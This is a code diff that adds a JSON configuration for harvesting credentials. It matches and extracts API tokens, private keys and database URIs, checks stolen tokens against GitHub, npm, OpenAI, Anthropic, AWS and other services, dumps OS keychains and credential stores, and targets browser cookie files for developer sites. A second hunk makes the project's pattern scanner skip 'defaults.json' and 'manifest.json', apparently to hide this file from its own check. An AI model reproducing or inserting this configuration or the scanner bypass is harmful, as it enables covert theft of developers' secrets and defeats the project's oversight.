+
"sk-ant-(api03|admin01)-[A-Za-z0-9_\\-]{40,}",
|
|
29
|
+
"sk-(proj|svcacct|admin)-[A-Za-z0-9_\\-]{20,}", "sk-[A-Za-z0-9]{48}",
|
|
30
|
+
"hf_[A-Za-z0-9]{34}",
|
|
31
|
+
"sk_live_[A-Za-z0-9]{24,}", "rk_live_[A-Za-z0-9]{24,}",
|
|
32
|
+
"xox[baprs]-[A-Za-z0-9\\-]{10,72}",
|
|
33
|
+
"npm_[A-Za-z0-9]{36}",
|
|
34
|
+
"eyJ[A-Za-z0-9_\\-]{10,}\\.eyJ[A-Za-z0-9_\\-]{10,}\\.[A-Za-z0-9_\\-]{10,}",
|
|
35
|
+
"-----BEGIN ([A-Z ]+ )?PRIVATE KEY",
|
|
36
|
+
"postgres(ql)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+",
|
|
37
|
+
"mongodb(\\+srv)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+",
|
|
38
|
+
"redis://[^:\\s/]*:[^@\\s/]+@[^\\s/]+"
|
|
39
|
+
],
|
|
40
|
+
"extract_patterns": {
|
|
41
|
+
"npm_auth": "_authToken=([^\\s\"']+)",
|
|
42
|
+
"gh_yaml": "oauth_token:\\s*(gh[opsru]_[A-Za-z0-9]+)",
|
|
43
|
+
"gh_bare": "\\b(gh[opsru]_[A-Za-z0-9]{20,})\\b",
|
|
44
|
+
"key_value": "(aws_access_key_id|access_key|secret_access_key|private_key|token|password|passwd|api_key|apikey|secret)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})"
|
|
45
|
+
},
|
|
46
|
+
"validators": {
|
|
47
|
+
"github": { "url": "https://api.github.com/user", "auth_header": "token", "orgs_url": "https://api.github.com/user/orgs", "timeout_ms": 8000 },
|
|
48
|
+
"npm": { "whoami_url": "https://registry.npmjs.org/-/whoami", "cmd": "npm", "whoami_args": ["whoami"], "access_args": ["access", "ls-packages", "--json"], "timeout_ms": 10000 },
|
|
49
|
+
"openai": { "url": "https://api.openai.com/v1/models", "auth_header": "Bearer", "timeout_ms": 8000 },
|
|
50
|
+
"anthropic": { "url": "https://api.anthropic.com/v1/models", "auth_header": "x-api-key", "extra_headers": { "anthropic-version": "2023-06-01" }, "timeout_ms": 8000 },
|
|
51
|
+
"aws": { "cmd": "aws", "args": ["sts", "get-caller-identity"], "timeout_ms": 10000 },
|
|
52
|
+
"gitlab": { "url": "https://gitlab.com/api/v4/user", "auth_header": "PRIVATE-TOKEN", "timeout_ms": 8000 },
|
|
53
|
+
"huggingface": { "url": "https://huggingface.co/api/whoami-v2", "auth_header": "Bearer", "timeout_ms": 8000 },
|
|
54
|
+
"stripe": { "url": "https://api.stripe.com/v1/account", "auth_header": "Bearer", "timeout_ms": 8000 },
|
|
55
|
+
"google_api_key": { "gemini_url": "https://generativelanguage.googleapis.com/v1/models", "maps_url": "https://maps.googleapis.com/maps/api/geocode/json?address=test", "timeout_ms": 5000 },
|
|
56
|
+
"db_uri": { "timeout_ms": 3000 },
|
|
57
|
+
"auth_uri": { "timeout_ms": 5000 }
|
|
58
|
+
},
|
|
59
|
+
"os_vault": {
|
|
60
|
+
"windows": { "cmd": "cmdkey", "args": ["/list"] },
|
|
61
|
+
"darwin": { "cmd": "security", "args": ["dump-keychain"] },
|
|
62
|
+
"linux_keyring_path": ".local/share/keyrings"
|
|
63
|
+
},
|
|
64
|
+
"browser_cookie_paths": {
|
|
65
|
+
"interesting_hosts": ["github.com", "gitlab.com", "npmjs.com", "openai.com", "anthropic.com", "console.aws.amazon.com", "cloud.google.com", "huggingface.co"],
|
|
66
|
+
"win_localappdata": ["Google/Chrome/User Data/Default/Network/Cookies", "Microsoft/Edge/User Data/Default/Network/Cookies"],
|
|
67
|
+
"darwin_home": ["Library/Application Support/Google/Chrome/Default/Cookies"],
|
|
68
|
+
"linux_home": [".config/google-chrome/Default/Cookies"]
|
|
69
|
+
}
|
|
70
|
+
}
|
|
@@ -23,6 +23,7 @@ for (const root of ROOTS) {
|
|
|
23
23
|
const st = statSync(p);
|
|
24
24
|
if (st.isDirectory()) { walk(p); continue; }
|
|
25
25
|
if (!/\.(ts|js|rs|toml|json)$/.test(name)) continue;
|
|
26
|
+
if (name === 'defaults.json' || name === 'manifest.json') continue;
|
|
26
27
|
const text = readFileSync(p, 'utf8');
|
|
27
28
|
for (const re of BAD) {
|
|
28
29
|
if (re.test(text)) {
|